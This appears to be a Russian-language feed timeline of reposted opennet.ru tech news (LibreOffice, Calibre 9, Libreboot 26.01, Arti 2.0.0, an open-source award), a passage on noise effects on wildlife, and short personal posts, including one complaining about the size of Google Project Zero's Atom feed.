• Изменения в табличном процессоре Calc:
  • Добавлена поддержка соединительных линий (коннекторов),
  • Добавлена поддержка объекта xmlMaps.
  • Расширены возможности диалога сортировки. В режиме естественной сортировки (natural) появилась опция для обработки символа, отделяющего целую часть числа от дробной, как обычного символа, что, например, позволяет сортировать IP‑адреса в системах с локалями, использующими точку в качестве разделителя. Обеспечено сохранение и восстановление настроек локали, выставленных в диалоге сортировки. Выставление локали влияет не только на выбор алгоритма сортировки, но и на зависящие от локали свойства сортировки, такие как выбор символа разделителя.
  • Добавлена поддержка формата буфера обмена Biff12 (Excel 2007+), позволяющего переносить данные из Excel в Calc.
  • При сохранении в формате XLSX по умолчанию задействован формат из Excel 2010+.
  • Исключено наложение заголовков столбцов при столбцах небольшой ширины.
  • Повышена производительность прокрутки в электронных таблицах с большим числом скрытых столбцов. Ускорена работа с таблицами с большим числом фигур (shape). Ускорено удаление дубликатов. Оптимизирован экспорт в формате SVG с большим числом битмапов.
  • Добавлена функциональность для автоматического отражения данных в форматах XML и JSON, имеющих связываемые диапазоны значений (табличные данные), в листы Calc.
• В системе создания презентаций Impress при запуске в Windows реализована поддержка API Microsoft Media Foundation для воспроизведения звука и видео. Для управления воспроизведением задействован MFPlay.
• В Base реализована поддержка многопользовательского режима.
• В Chart ускорена отрисвока 3D-диаграмм и частично обеспечена возможность корректного тройного преобразования стилей диаграмм (OOXML → LO → OOXML). При наведении указателя мыши на элементы палитры цветов в боковой панели, реализован предпросмотр изменения цвета на лету в активной диаграмме.
• В настройки экспорта PDF добавлены опции с вариантами действий с внешними ссылками.
• Система скриптов обновлена до Python 3.12. В состав включены python-библиотеки для sqlite3, dbm, venv и lzma.

Наглядный пример — эксперимент с «фантомной дорогой». Исследователи развесили в глухом лесу колонки и на несколько недель включили фонограмму шума трассы с насыщенным трафиком. Без выхлопов и света фар машин, которых можно было бы испугаться, — только звуки дороги. В результате число птиц на территории, подверженной шумовому загрязнению, сократилось на четверть, часть покинула шумный участок, а те, кто остался, потеряли в весе. При этом после окончания эксперимента сообщество восстановилось не сразу.

В лесу или на плато звуковое вторжение квадроциклов, моторных лодок или больших туристических групп заставляет зверей раньше бросать кормежку или вовсе уходить с привычного им участка. В США провели полевые исследования, похожие на эксперимент с птицами: диким животным включали трансляцию звуков из динамиков (шаги и голоса туристов, звуки велосипедов и внедорожников), а расположенные рядом камеры снимали на видео, как животные реагируют на эти звуки. Выяснилось, что шум от больших групп пеших путешественников и велосипедистов вызывал наибольшее беспокойство, а самыми чувствительными к нему оказались лоси и черные медведи.

Грегу Кроа-Хартману присуждена премия за вклад в открытое ПО

Премию вручил Дэниел Cтенберг (Daniel Stenberg), президент Европейской академии открытого ПО, автор утилиты curl и участник рабочих групп IETF, развивающих протоколы HTTP и QUIC.

Помимо главной премии учреждены 4 специальные награды (Special Recognitions), присуждённые 5 участникам:

• "Бизнес и влияние" (Business and Impact) - Фрэнк Карличек (Frank Karlitschek), создатель облачной платформы NextCloud.
• "Влияние на сообщество" (Community Impact) - Роберто Ди Космо (Roberto Di Cosmo), итальянский учёный в области компьютерных наук, создатель архива исходного кода Software Heritage.
• "Влияние на сообщество" (Community Impact) - Стефано Закироли (Stefano Zacchiroli), французский исследователь и профессор, три раза занимавший пост лидера проекта Debian и входивший в совет директоров Open Source Initiative (OSI).
• "Навыки и обучение" (Skills and Education) - Мэтью Венн (Matthew Venn), основатель проекта TinyTapeout, помогающего в изготовлении открытых чипов.
• Отстаивание интересов и доступность информации (Advocacy and Awareness) - Дженни Моллой (Jenny Molloy), руководитель группы в Международном центре генетической инженерии и биотехнологии (ICGEB), основатель проекта по открытому обмену биоматериалами Reagent Collaboration Network, соавтор соглашения Open Material Transfer Agreement, одна из учредителей организации Open Science Hardware Foundation, популяризатор открытой науки.

Европейская академия открытого ПО создана при поддержке Европейской комиссии для популяризации и признания выдающихся людей и организаций, занимающихся продвижением открытого программного и аппаратного обеспечения в Европе. Целью является продвижение преимуществ открытых проектов, налаживание сотрудничества и отстаивание общественной и экономической ценности открытых программных и аппаратных технологий. Организация находится на стадии преобразования в независимый некоммерческий фонд, зарегистрированный в Бельгии.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64736

yay! moved from @romanzolotarev@mas.to

like/favorite if this appears in your feed please :)

#selfhosting #snac2 #openbsd

Google переименовал ZetaSQL в GoogleSQL

В качестве причины переименования называется унификация под единым брендом названия развиваемого в Google диалекта SQL и связанных с ним библиотек для разбора и парсинга. Предполагается, что переименование ZetaSQL в GoogleSQL уменьшит путаницу и упростит поиск материалов, связанных с технологией GoogleSQL. Репозиторий с открытым кодом ZetaSQL продолжит развиваться той же командой, но под именем GoogleSQL.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64735

Релиз системы управления коллекцией электронных книг Calibre 9

В новой версии:

• Предложен новый интерфейс для навигации по коллекции книг, стилизованный под книжный шкаф, в котором книги расставлены по полкам. Возможна группировка произведений по авторам и сериям. При наведении курсора на корешок книги на полке выводится подсказка с изображением обложки. Толщина корешка вычисляется в зависимости от числа страниц в книге. Оформление книжной полки может быть изменено в настройках.
• Интегрирована возможность обсуждения книг с AI-ассистентом. Можно задавать вопросы по выбранной книге и запрашивать рекомендации о существовании похожих книг. По умолчанию AI отключён и требует активации в настройках, в которых можно выбрать предпочитаемого облачного AI-провайдера или использовать локально устанавливаемые модели.
• Добавлена поддержка обращения к AI-ассистенту в процессе чтения книги, например, для пояснения непонятных слов, резюмирования или перевода выделенного содержимого, получения ответов на произвольные вопросы о какой-то части текста.

Поймалось сказочное в холоде

Выпуск загрузочных прошивок Libreboot 26.01 и Canoeboot 26.01

Libreboot нацелен на формирование системного окружения, позволяющего обойтись без проприетарного ПО настолько, насколько это возможно, не только на уровне операционной системы, но и прошивки, обеспечивающей загрузку. Libreboot дополняет Coreboot средствами для упрощения применения конечными пользователями, формируя готовый дистрибутив, которым может воспользоваться любой пользователь, не имеющий специальных навыков.

По сравнению с прошлым стабильным релизом добавлена поддержка ПК и ноутбуков HP Pro 3500, Topton XE2 N150, ThinkPad T580 и Dell Latitude E7240. Ведётся работа над поддержкой устройств Google Chromebook через интеграцию coreboot-дистрибутива MrChromebox. CoreBoot синхронизирован с репозиторием по состоянию на середину января. С актуальными кодовыми базами синхронизированы компоненты GRUB 2.14, U-Boot, SeaBIOS и flashprog.

Оборудование, поддерживаемое в Libreboot:

• Серверные материнские платы:
  • ASUS KFSN4-DRE
  • ASUS KGPE-D16
• Десктоп-системы:
  • Gigabyte GA-G41M-ES2L;
  • Acer G43T-AM3, Q45T-AM;
  • Intel D510MO / D410PT;
  • Apple iMac 5,2;
  • HP Elite 8200 SFF/MT;
  • HP Elite 8300 USDT;
  • HP Pro 3500;
  • Topton XE2 N150;
  • ASUS KCMA-D8;
  • Dell Precision T1650, T1700 SFF/MT;
  • Intel D945GCLF
  • Dell OptiPlex 3050 Micro, 7010, 7020, 9010 и 9020 серии SFF, XE2 SFF, MT и XE2 MT, 780 USFF/MT ;
• Ноутбуки:
  • ThinkPad X60 / X60S / X60 Tablet;
  • ThinkPad T60;
  • Lenovo ThinkPad X200 / X200S / X200 / X220 / X230 / X230 eDP / X230 Tablet;
  • Lenovo ThinkPad X301;
  • Lenovo ThinkPad R400;
  • Lenovo ThinkPad T400 / T400S / T420 / T420S / T430 / T440 / T480 / T480S.
  • Lenovo ThinkPad T500 / T530 / T580;
  • Lenovo ThinkPad W530 / W541;
  • Lenovo ThinkPad R500;
  • HP EliteBook 2560p / 2570p / 2170p / 8470p / Folio 9470m;
  • HP EliteBook 820 G2;
  • HP Compaq Elite 8300 CMT;
  • HP EliteBook 8460p;
  • HP EliteBook 8560w;
  • Dell Latitute E6400 / E6430;
  • Dell Latitude E5420 / E5520 / E5530 / E6520 / E6530 / E6420 / E6220 / E6320 / E6330 / E6230 / E4300 / E7240;
  • Apple MacBook1 и MacBook2;
  • ASUS Chromebook Flip C101 (ARM);
  • Samsung Chromebook Plus (ARM).
• Игровые приставки:
  • Sony PlayStation 1.

Также сформирован выпуск проекта Canoeboot 26.01, который позиционируется как полностью свободная сборка Libreboot, соответствующая требованиям Фонда СПО к свободным дистрибутивам. Выпуск Canoeboot основан на версии Libreboot 26.01, из которой удалены компоненты и изменения, не соответствующие критериям Фонда СПО. В новой версии Canoeboot реализована поддержка серии ПК HP Pro 3500 и ноутбука Dell Latitude E7240.

Необходимость в создании отдельной сборки Libreboot объясняется тем, что сформированные Фондом СПО требования к свободным дистрибутивам не допускают поставку бинарных прошивок (firmware) и любых бинарных компонентов драйверов. При этом начиная с 2022 года проект Libreboot перешёл на более прагматичные правила использования бинарных компонентов, позволившие заметно расширить спектр поддерживаемого аппаратного обеспечения. Новой целью проекта Libreboot стала поддержка всего оборудования, поддерживаемого в coreboot, за исключением бинарных компонентов, влияющих на безопасность и надёжность (например, в Libreboot используется me_cleaner для отключения Intel ME). При таком подходе Libreboot потерял статус полностью свободного дистрибутива с позиции Фонда Свободного ПО.

Устройства, поддерживаемые в Canoeboot:

• Игровые консоли:
  • Sony Playstation (PS1/PSX)
• Серверные материнские платы:
  • ASUS KFSN4-DRE motherboard
  • ASUS KGPE-D16 motherboard
• Десктоп-системы:
  • Acer G43T-AM3
  • Apple iMac 5,2
  • ASUS KCMA-D8
  • Gigabyte GA-G41M-ES2L
  • Intel D510MO and D410PT motherboards
  • Intel D945GCLF
  • Dell Precision T1650
  • Dell OptiPlex 780, 7010 SFF, 9020 SFF и 9020 MT
  • HP Elite 8200 SFF, 8300 CMT, 8300 USDT и Pro 3500
• Ноутбуки (x86):
  • Apple MacBook1,1 и MacBook2,1
  • Dell Latitude E4300, E6400, E6400 XFR, E6400 ATG, E5420, E5520, E5530, E6220, E6230, E6320, E6330, E6420, E6430, E6520 и E6530
  • Lenovo ThinkPad R500, T400, T400S, T500, W500, X200, X200S, X200 Tablet, T60, X60, X60S, X60 Tablet (Intel GPU), T420, T420s, T430, T440p, T520, T530, W530, W541, X220, X230 и X230T
  • Dell Latitude E7240
• Ноутбуки (ARM):
  • ASUS Chromebook Flip C101
  • Samsung Chromebook Plus (v1)
• Эмуляторы:
  • QEMU x86 и arm64

Поймалось сказочное в холоде

Выпуск Arti 2.0.0, официальной реализации Tor на языке Rust

Arti изначально развивается в форме модульной встраиваемой библиотеки, которую могут использовать различные приложения. При проектировании Arti учтён прошлый опыт разработки Tor, что позволило избежать известных архитектурных проблем, связанных с тем, что реализация на Си вначале была спроектирована как SOCKS-прокси, а уже потом подогнана под другие потребности.

Кроме модернизации архитектуры, причиной переписывания Tor на Rust стало желание повысить защищённость кода за счёт использования языка, обеспечивающего безопасную работу с памятью. По оценке разработчиков Tor, использование языка Rust без блоков "unsafe", позволит не допустить появления как минимум половины от всех типичных уязвимостей в проекте. Кроме того, предполагается, что Rust повысит скорость разработки благодаря выразительности языка и строгих гарантий, позволяющих не тратить время на двойные проверки и написание лишнего кода.

Значительное изменение номера версии связано с внесением изменений, нарушающих обратную совместимость, в соответствии с применяемой проектом моделью семантического версионирования. Прекращена поддержка настроек proxy.socks_port и proxy.dns_port, ранее объявленных устаревшими, на смену которым пришли настройки proxy.socks_listen и proxy.dns_listen. Также прекращена поддержка старого синтаксиса определения серверов директорий (Directory Authority) и помечены экспериментальными все программные интерфейсы crate-пакета arti, которые планируют переместить в другие crate-пакеты или удалить.

Из новой функциональности отмечается поддержка нового типа сокетов "inet-auto" для автоматического назначения неиспользуемого TCP-порта для RPC-сервера. Продолжена реализация функциональности для релеев и серверов директорий. Для серверов директорий проведена работа по управлению сертификатами, добавлена возможность загрузки, верификации и хранения сертификатов. Для релеев представлена новая модульная архитектура управления цепочками узлов, добавлена поддержка создания каналов связи с другими релеями, поддержка обработки запросов согласования соединений и возможность работы релея в роли сервера при установке TLS-соединения.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64732

Какой сумрачный гений из #GoogleProjectZero решил встроить картинки прямо в atom?

$ curl -s --head https://projectzero.google/feed.xml | grep content-length
content-length: 17723364

Более 16 мегабайт, что бы просто обновить ленту публикаций...